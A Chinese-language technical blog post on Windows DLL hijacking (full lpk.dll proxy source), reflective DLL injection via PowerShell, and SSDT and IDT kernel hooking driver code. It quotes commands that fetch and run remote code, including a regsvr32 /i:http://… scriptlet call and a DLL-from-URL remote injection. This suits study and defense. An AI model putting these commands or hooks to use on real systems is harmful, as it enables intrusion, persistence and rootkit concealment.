https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx
https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ 

 

14. 通過系統指令rundll32.exe執行DLL中指定函式

Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber

Relevant Link:

https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx

 

15. DLL劫持 - lpk.dll

0x1: 原理

每個PE檔案都有一個"匯入表",pe檔案在載入時,會優先載入"匯入表"中的PE檔案。程式在執行時,會從"匯入表"中獲取要載入的DLL的名稱,然後按照指定的目錄順序去載入這些dll。"匯入表"中有系統dll,也有程式自帶的dll,因此dll劫持可再細分為

1. 系統dll劫持: 替換系統原生dll(例如kernel32.dll)
2. 程式自帶dll劫持(隨應用程式分發的dll)

DLL在被載入時有個搜尋順序

1. 當登錄檔HKLM\System\CurrentControlSet\Control\Session Manager鍵值下的屬性SafeDllSearchMode的值設定為1時,DLL搜尋順序如下
    1) 應用程式EXE所在的路徑。
    2) 系統目錄。
    3) 16位系統目錄
    4) Windows目錄
    5) 當前目錄
    6) PATH環境變數指定的目錄
2. 當SafeDllSearchMode的值為0時,dll搜尋順序又會變為 
    1) 應用程式EXE所在的路徑。
    2) 當前目錄
    3) 系統目錄。
    4) 16位系統目錄
    5) Windows目錄
    6) PATH環境變數指定的目錄

然而在實際的”系統dll劫持“操作中,我們會發現並不是所有dll都能被劫持,xp和win7及win7以後的系統劫持效果也有所不同。Win7及以後的系統增加了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 來拒絕部分系統dll被劫持。該登錄檔中的dll名稱不允許被劫持,即系統dll劫持會失敗。
不過,微軟又莫名其妙的允許使用者在上述登錄檔路徑中新增“ExcludeFromKnownDlls”登錄檔項,排除一些被“KnownDLLs登錄檔項”機制保護的DLL。也就是說,只要在“ExcludeFromKnownDlls”登錄檔項中新增你想劫持的DLL名稱就可以對該DLL進行劫持,不過修改之後需要重新啟動電腦才能生效
除了系統dll劫持之外,黑客還常用針對某個應用程式一起分發的dll的劫持,這種dll劫持系統本身不提供保護,需要應用程式自己去做簽名和完整性校驗

DLL劫持主要是因為Windows的資源共享機制。為了儘可能多得安排資源共享,微軟建議多個應用程式共享的任何模組應該放在Windows的系統目錄中,如kernel32.dll,這樣能夠方便找到。但是隨著時間的推移,安裝程式會用舊檔案或者未向後相容的新檔案來替換系統目錄下的檔案,這樣會使一些其他的應用程式無法正確執行,因此,微軟改變了策略,建議應用程式將所有檔案放到自己的目錄中去,而不要去碰系統目錄下的任何東西。
為了提供這樣的功能,在Window2000開始,微軟加了一個特性,強制作業系統的載入程式首先從應用程式目錄中載入模組,只有當載入程式無法在應用程式目錄中找到檔案,才搜尋其他目錄。利用系統的這個特性,就可以使應用程式強制載入我們指定的DLL做一些特殊的工作。
例如,Windows的系統目錄下有一個名為LPK.DLL的系統檔案,程式執行時會在c:\Windows\system32資料夾下找到這個DLL檔案並載入它。如開啟記事本程式

HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
1. 如果為1,搜尋的順序為: 應用程式所在目錄 -> 系統目錄(用GetSystemDirectory獲取) -> 16位系統目錄 -> Windows目錄(用GetWindowsDirectory獲取) -> 執行程式的當前目錄 -> PATH環境變數
2. 如果為0,搜尋順序為: 應用程式所在目錄 -> 執行程式的當前目錄 -> 系統目錄(用GetSystemDirectory獲取) -> 16位系統目錄 -> Windows目錄(用GetWindowsDirectory獲取) -> PATH環境變數

Windows Server 2003預設值為1,Windows XP/2000預設值為0或者沒有這個鍵值。但是不管是哪種情況,第一個搜尋的肯定是應用程式的所在目錄,這樣就有機會讓應用程式去載入我們的DLL。如果這個DLL和系統目錄下的某個DLL同名,匯出表也相同,功能就是載入系統目錄下的那個DLL,並且將匯出錶轉發到那個真實的DLL。這時DLL劫持就發生了。可以看出,構造一個符合上面要求的DLL,再將其放在可執行檔案的目錄即可實現DLL劫持了

0x2: DLL劫持的實現

通過程式設計來實現一個LPK.DLL檔案,它與系統目錄下的LPK.DLL匯出表相同,並能載入系統目錄下的LPK.DLL,並且能將匯出錶轉發到真實的LPK.DLL

1. 構造一個與系統目錄下LPK.DLL一樣的匯出表 
2. 載入系統目錄下的LPK.DLL 
3. 將匯出函式轉發到系統目錄下的LPK.DLL上 
4. 在初始化函式中加入我們要執行的程式碼 

lpk.cpp

// lpk.cpp : Defines the entry point for the DLL application.
//
#pragma comment(lib, "user32.lib")

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 標頭檔案
#include "stdafx.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 巨集定義
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//LpkEditControl匯出的是陣列,不是單一的函式(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);   
EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl};   

////////////////////////////////////////////////////////////////////////////////////////////////  
//新增全域性變數

////////////////////////////////////////////////////////////////////////////////////////////////  

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AheadLib 名稱空間
namespace AheadLib
{
    HMODULE m_hModule = NULL;    // 原始模組控制程式碼
    
    // 載入原始模組
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        TCHAR tzTemp[MAX_PATH * 2];
        
        GetSystemDirectory(tzPath, MAX_PATH);
        lstrcat(tzPath, TEXT("\\lpk"));
        m_hModule=LoadLibrary(tzPath);
        if (m_hModule == NULL)
        {
            wsprintf(tzTemp, TEXT("無法載入 %s,程式無法正常執行。"), tzPath);
            MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
        };
        
        return (m_hModule != NULL);    
    }
    
    // 釋放原始模組
    inline VOID WINAPI Free()
    {
        if (m_hModule)
        {
            FreeLibrary(m_hModule);
        }
    }
    
    // 獲取原始函式地址
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        TCHAR tzTemp[MAX_PATH];
        
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf(szProcName, "%d", pszProcName);
                pszProcName = szProcName;
            }
            
            wsprintf(tzTemp, TEXT("無法找到函式 %hs,程式無法正常執行。"), pszProcName);
            MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
            ExitProcess(-2);
        }
        
        return fpAddress;
    }
}
using namespace AheadLib;
////////////////////////////////////////////////////////////////////////////////////////////////  

////////////////////////////////////////////////////////////////////////////////////////////////  
//函式宣告
void WINAPIV Init(LPVOID pParam);
////////////////////////////////////////////////////////////////////////////////////////////////  

void WINAPIV Init(LPVOID pParam)
{
    //在這裡新增DLL載入程式碼
    MessageBox(NULL, TEXT("可以執行任意程式碼了,測試成功。"), TEXT("littlehann.com"), MB_OK | MB_ICONWARNING);
    return; 
} 

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函式
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            //LpkEditControl這個陣列有14個成員,必須將其複製過來    
            memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);   
            _beginthread(Init,NULL,NULL);
        }
        else
            return FALSE;
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        Free();
    }
    return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkInitialize(void)
{
    GetAddress("LpkInitialize");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
    GetAddress("LpkTabbedTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkDllInitialize(void)
{
    GetAddress("LpkDllInitialize");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkDrawTextEx(void)
{
    GetAddress("LpkDrawTextEx");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkEditControl(void)
{
    GetAddress("LpkEditControl");
    __asm jmp DWORD ptr [EAX];//這裡的LpkEditControl是陣列,eax存的是函式指標
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkExtTextOut(void)
{
    GetAddress("LpkExtTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
    GetAddress("LpkGetCharacterPlacement");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
    GetAddress("LpkGetTextExtentExPoint");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkPSMTextOut(void)
{
    GetAddress("LpkPSMTextOut");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
    GetAddress("LpkUseGDIWidthCache");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 匯出函式
ALCDECL AheadLib_ftsWordBreak(void)
{
    GetAddress("ftsWordBreak");
    __asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
win7及win7以上系統增加了KnownDLLs保護,需要在登錄檔
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls
下新增 "lpk.dll" 才能順利劫持。
*/

0x3: DLL劫持防禦

1. 新增KnownDLL

HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
該項下的子健代表了dll的名字,如果這裡存在lpk.dll,則系統不會載入當前目錄下的lpk.dll,而是會去系統盤載入

Relevant Link:

http://drops.xmd5.com/static/drops/tips-9106.html 
http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html
http://www.cnblogs.com/swyft/articles/5580342.html 
https://github.com/eric21/lpk
http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html 
http://gslab.qq.com/article-205-1.htm

 

16. Reflective DLL Injection with PowerShell

基於powershel的dll反射注入和基於shellcode的dll反射植入原理都是一樣的,區別在於執行的載體是powershell,在攻擊時,系統上也會多出一個powershell程式,黑客利用漏洞獲得指令的執行許可權後,可以遠端執行執行powershell script

0x1: How to use

The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array

# loads a DLL from a URL and runs it on a remote computer:
Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER

# loads a DLL from a file and runs it on a list of computers loaded from computers.txt:
Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt)

PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810

-FuncReturnType引數用於指定需要從DLL中執行的匯出函式.
Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function.
The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.

執行時,可能會遇到如下錯誤

windows預設禁止未簽名過的pshell指令碼

set-ExecutionPolicy RemoteSigned 

Relevant Link:

http://blog.gentilkiwi.com/mimikatz
https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf 
https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

 

17. 修改exe檔案自身匯入表劫持dll

在惡意軟體中,黑客常用的做法大概是這樣的

1. 在初始投遞的惡意樣本中自帶一個dll檔案(可能是放在資源段中)
2. 樣本啟動後將dll釋放出來,然後複製到系統目錄下(system32)
3. 遍歷C盤下所有的.exe檔案
4. 將每個.exe檔案匯入表中的kernel32.dll修改為黑客複製過來的dll檔案,例如kernel32_hacked.dll
5. 這樣,系統中這些程式啟動時,就會由系統自己的image loader去載入kernel32_hacked.dll,從而執行其中dllMain裡面的惡意邏輯
6. 為了保證系統中正常程式能正常啟動執行,kernel32_hacked.dll必須拷貝原來kernel32.dll中的所有匯出函式作為自己的匯出函式,即做一次轉發,起到Hook的邏輯

從技術原理上看,這種劫持技術和lpk劫持是一樣的,區別在於lpk劫持不修改目標exe本身,而是"順應環境",在目標exe的匯入dll中挑選一個進行劫持,如果目標應用沒有使用自定義的dll而只使用了原生的系統dll,則因為系統dll的反劫持保護(UnKnownDdlls)的關係,dll劫持就很難進行,遇到這種情況,就需要修改目標exe本身,對其匯入的dll修改為黑客自己的dll,並在黑客放置的劫持dll中進行api轉發

這種dll劫持技術有一個缺點,就是不能對執行中的程式實施dll劫持,必須等目標程式重新啟動或者重新載入到對應dll的時候才會觸發劫持邏輯,如果目標程式是一個執行中的常駐程式,則就需要用到其他dll注入api hook技術

Relevant Link:

https://wenku.baidu.com/view/869b06758e9951e79b8927ee
http://yonsm.net/aheadlib/
https://github.com/Yonsm/AheadLib
http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396

 

18. 利用regsvr32 /s /i:http:註冊dll元件

Regsvr32命令是Windows中控制元件檔案(如副檔名為DLL、OCX、CPL的檔案)的註冊和反註冊工具。命令格式

Regsvr32 [/s] [/n] [/i[:cmdline]] dllname   

/u 解除安裝安裝的控制元件,解除安裝伺服器註冊
/s 註冊成功後不顯示操作成功資訊框
/i 呼叫DllInstall函式並把可選引數[cmdline]傳給它,當使用/u時用來解除安裝DLL  
/n 不呼叫DllRegisterServer,該引數必須和/i一起使用

黑客在獲取RDP弱口令之後,常常使用at計劃任務、wmi計劃任務,或者psexec執行下列指令

regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll

wireshark抓包如下

Relevant Link:

http://carywu.blog.51cto.com/13185/9536
https://technet.microsoft.com/en-us/library/bb490985.aspx

 

19. windows SSDT hook - 核心態hook

系統服務描述表(SSDT)也稱為系統服務分發表,微軟使用它來查詢進入核心的系統呼叫,它通常不被第三方應用程式直接訪問。核心程式碼只能被使用者態的SYSCALL、SYSENTER、INT 0X2E指令來訪問(這是軟體中斷)

typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;  //這個引數是ssdt陣列的基址,有了它,我們再給出具體函式的偏移,就能找到正確的函式地址了

    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;   //這個是ssdt這個陣列的最大值,也就是ssdt中函式的個數
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

有了這個結構過後,按照偏移就可以找到想要Hook的函式的地址了。但是hook之前,需要修改核心保護,否則遇到藍屏問題

void PageProtectOff()
{
    __asm{
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
        }
}

Cro這個暫存器就儲存了核心保護的標誌位,用 10000h取反再和他進行與運算,就使標誌位從1變成0了,就可以修改核心了

#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; 
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

NTSTATUS
    PsLookupProcessByProcessId(
    IN HANDLE ProcessId,
    OUT PEPROCESS *Process
    );
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef NTSTATUS(*MYNTOPENPROCESS)(
    OUT PHANDLE             ProcessHandle,
    IN ACCESS_MASK          AccessMask,
    IN POBJECT_ATTRIBUTES   ObjectAttributes,
    IN PCLIENT_ID           ClientId );//定義一個指標函式,用於下面對O_NtOpenProcess進行強制轉換
ULONG O_NtOpenProcess;

BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName)
{
    NTSTATUS status;
    PEPROCESS process_obj;
    if(!MmIsAddressValid(str_ProtectObjName))//這個條件是用來判斷目標程式名是否有效
    {
        return FALSE;
    }
    if(ProcessId==0)//這個條件是用來排除System Idle Process程式的干擾
    {
        return FALSE;
    }
    status=PsLookupProcessByProcessId(ProcessId,&process_obj);//這句用來獲取目標程式的EPROCESS結構
    if(!NT_SUCCESS(status))
    {
        KdPrint(("error :%X---is s process ID:%d",status,ProcessId));
        return FALSE;
    }
    if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//進行比較
    {
        ObDereferenceObject(process_obj);//物件計數器減1,為了恢復物件管理器計數,便於回收
        return TRUE;
    }
    ObDereferenceObject(process_obj);
    return FALSE;
}
NTSTATUS MyNtOpenProcess (
    __out PHANDLE ProcessHandle,
    __in ACCESS_MASK DesiredAccess,
    __in POBJECT_ATTRIBUTES ObjectAttributes,
    __in_opt PCLIENT_ID ClientId
    )
{
    //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174));
    if(ProtectProcess(ClientId->UniqueProcess,"calc.exe"))
    {
        KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174));
        return STATUS_UNSUCCESSFUL;
    }
    //KdPrint(("Hook Success!"));
    return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//處理完自己的任務後,呼叫原來的函式,讓其它程式正常工作
        DesiredAccess,
        ObjectAttributes,
        ClientId);
}

void PageProtectOff()//關閉頁面保護
{
    __asm{
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
        }
}
void PageProtectOn()//開啟頁面保護
{
    __asm{
        mov  eax,cr0
        or   eax,10000h
        mov  cr0,eax
        sti
    }
}

void UnHookSsdt()
{
    PageProtectOff();
    KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢復ssdt中原來的函式地址
    PageProtectOn();
}
NTSTATUS ssdt_hook()
{ 
    O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//儲存原來的函式地址
    PageProtectOff();
    //將原來ssdt中所要hook的函式地址換成我們自己的函式地址
    KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess;
    PageProtectOn();
    return STATUS_SUCCESS;
}
void DriverUnload(PDRIVER_OBJECT pDriverObject)
{
    UnHookSsdt();
    KdPrint(("Driver Unload Success !"));
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath)
{
    DbgPrint("This is My First Driver!");
    ssdt_hook();
    pDriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

Relevant Link:

http://bbs.pediy.com/thread-176477.htm
http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html

 

20. windows IDT hook - 核心態hook

現代的處理器實現了用硬體方式觸發軟體事件的中斷,系統傳送一條命令到硬體,硬體處理完事件後會向cpu傳送中斷訊號,中斷處理器。有時,驅動或者rootkit會利用中斷來執行程式碼,驅動程式呼叫ioconnectinterrupt函式為特定中斷註冊一個處理程式,然後為這個中斷指定一箇中斷服務例程(ISR),每當觸發該中斷時,系統都會呼叫註冊的中斷服務例程

中斷描述表(IDT)儲存著ISR的資訊,IDT表的長度與地址是由CPU的IDTR暫存器來描述的。IDTR暫存器共有48位,高32位是IDT表的基地址,低16位是IDT的長度

typedef struct _IDTR{
    USHORT   IDT_limit;
    USHORT   IDT_LOWbase;
    USHORT   IDT_HIGbase;
}IDTR,*PIDTR;

IDTR        idtr;
__asm SIDT idtr;

可以通過以上SIDT指令可以讀取IDTR暫存器。然後通過MAKEWORD巨集把高位與地位組合起來就可以獲得IDT表的基地址了。
簡單來說,IDT表是一張位於實體記憶體的線性表,共有256個表項。在32位模式下,每個IDT表項的長度是8個位元組(64 bit),IDT表的總長度是2048位元組

kd> r idtr
idtr=8003f400
kd> r idtl
idtl=000007ff

通過Windbg命令 r idtr、r idtl可以讀取IDT表的基地址與邊界

IDT表中每一項(4byte)也稱為“門描述符”,之所以這樣稱呼,是因為IDT表項的基本用途就是引領CPU從一個空間到另一個空間去執行,每個表項好像是一個空間到另一個空間的大門。
IDT表中可以包含以下3種門描述符,它們本質都一樣,只是代表了不同的業務場景

1. 任務門描述符: 用於任務切換,裡面包含用於選擇任務狀態段(TSS)的段選擇子。可以使用JMP或CALL指令通過任務門來切換到任務門所指向的任務,當CPU因為中斷或異常轉移到任務門時,也會切換到指定任務
2. 中斷門描述符: 用於描述中斷例程的入口 
3. 陷阱門描述符: 用於描述異常處理例程的入口 

HOOK程式碼

#ifndef CXX_IDTHOOK_H
#    include "IDTHook.h"
#endif

#define WORD  USHORT
#define DWORD ULONG

ULONG g_InterruptFun = 0;

#define MAKELONG(a, b)      ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \
                            | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16))

NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity );  
NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID );  



PULONG GetKiProcessorBlock()
{
    ULONG* KiProcessorBlock = 0;

    KeSetSystemAffinityThread(1); //使當前執行緒執行在第一個處理器上  

    _asm
    {
        push eax
        mov  eax,FS:[0x34]
        add  eax,20h
        mov  eax,[eax]
        mov  eax,[eax]
        mov  eax,[eax+218h]
        mov  KiProcessorBlock,eax
        pop  eax
    }

    KeRevertToUserAffinityThread();

    return KiProcessorBlock ; 

}
void PageProtectOn()
{
    __asm{//恢復記憶體保護  
        mov  eax,cr0
            or   eax,10000h
            mov  cr0,eax
            sti
    }
}

void PageProtectOff()
{
    __asm{//去掉記憶體保護
        cli
            mov  eax,cr0
            and  eax,not 10000h
            mov  cr0,eax
    }
}


void _stdcall FilterInterruptFun()
{
    DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174);
}

_declspec(naked)
void Fake_InterruptFun()
{
    _asm{
        pushad
        pushfd

        push fs
        push 0x30
        pop  fs
        
        call FilterInterruptFun;
        pop  fs

        popfd
        popad

        jmp g_InterruptFun
    }
};

NTSTATUS
DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString)
{
    IDTR        Idtr;
    PIDTENTRY   pIdtEntry;
    ULONG       ulIndex = 0 ;
    ULONG*      KiProcessorBlock;
    
    pDriverObj->DriverUnload = DriverUnload;

    KiProcessorBlock = GetKiProcessorBlock();

    DbgPrint("%X\r\n",KiProcessorBlock);

    while (KiProcessorBlock[ulIndex])
    {
        pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ;

        DbgPrint("IDT Base:%X\r\n",pIdtEntry);

        g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset);

        DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun);

         PageProtectOff();
        pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff);
         pIdtEntry[3].HiOffset  = (unsigned short)((ULONG)Fake_InterruptFun >> 16);
         PageProtectOn();

        ulIndex++;
    }


    return STATUS_SUCCESS;
}

VOID
DriverUnload(IN PDRIVER_OBJECT pDriverObj)
{    
    
    return;
}

裡面獲得IDT表的時候沒有通過暫存器IDTR進行讀取,是因為對於多核CPU來說不一定只有一個IDT表,而通過IDTR來讀取只能讀到一份表,所以HOOK IDT的時候一定要注意多核問題
系統維護了一個全域性的處理器陣列KiProcessorBlock,其中每個元素對應於一個處理器的KPRCB 物件

Relevant Link:

http://www.cnblogs.com/zibility/p/5663825.html
http://www.cnblogs.com/lanrenxinxin/p/4692013.html

 

21. IAT hook - 使用者態hook

iat hook是一種針對單個應用態程式的單點hook,這種掛鉤方法修改目標程式的匯入地址表(iat)

每個程式呼叫的 API 函式地址都儲存在 IAT 表中。為了修改這個IAT表,我們可以採取dll注入或者writeremoteprocess的方法,最終目的都一樣,修改遠端目標程式的iat 函式呼叫

Relevant Link:

http://blog.csdn.net/misterliwei/article/details/840983
http://www.freebuf.com/articles/system/99141.html
http://bbs.pediy.com/thread-141437.htm

Copyright (c) 2017 LittleHann All rights reserved

相關文章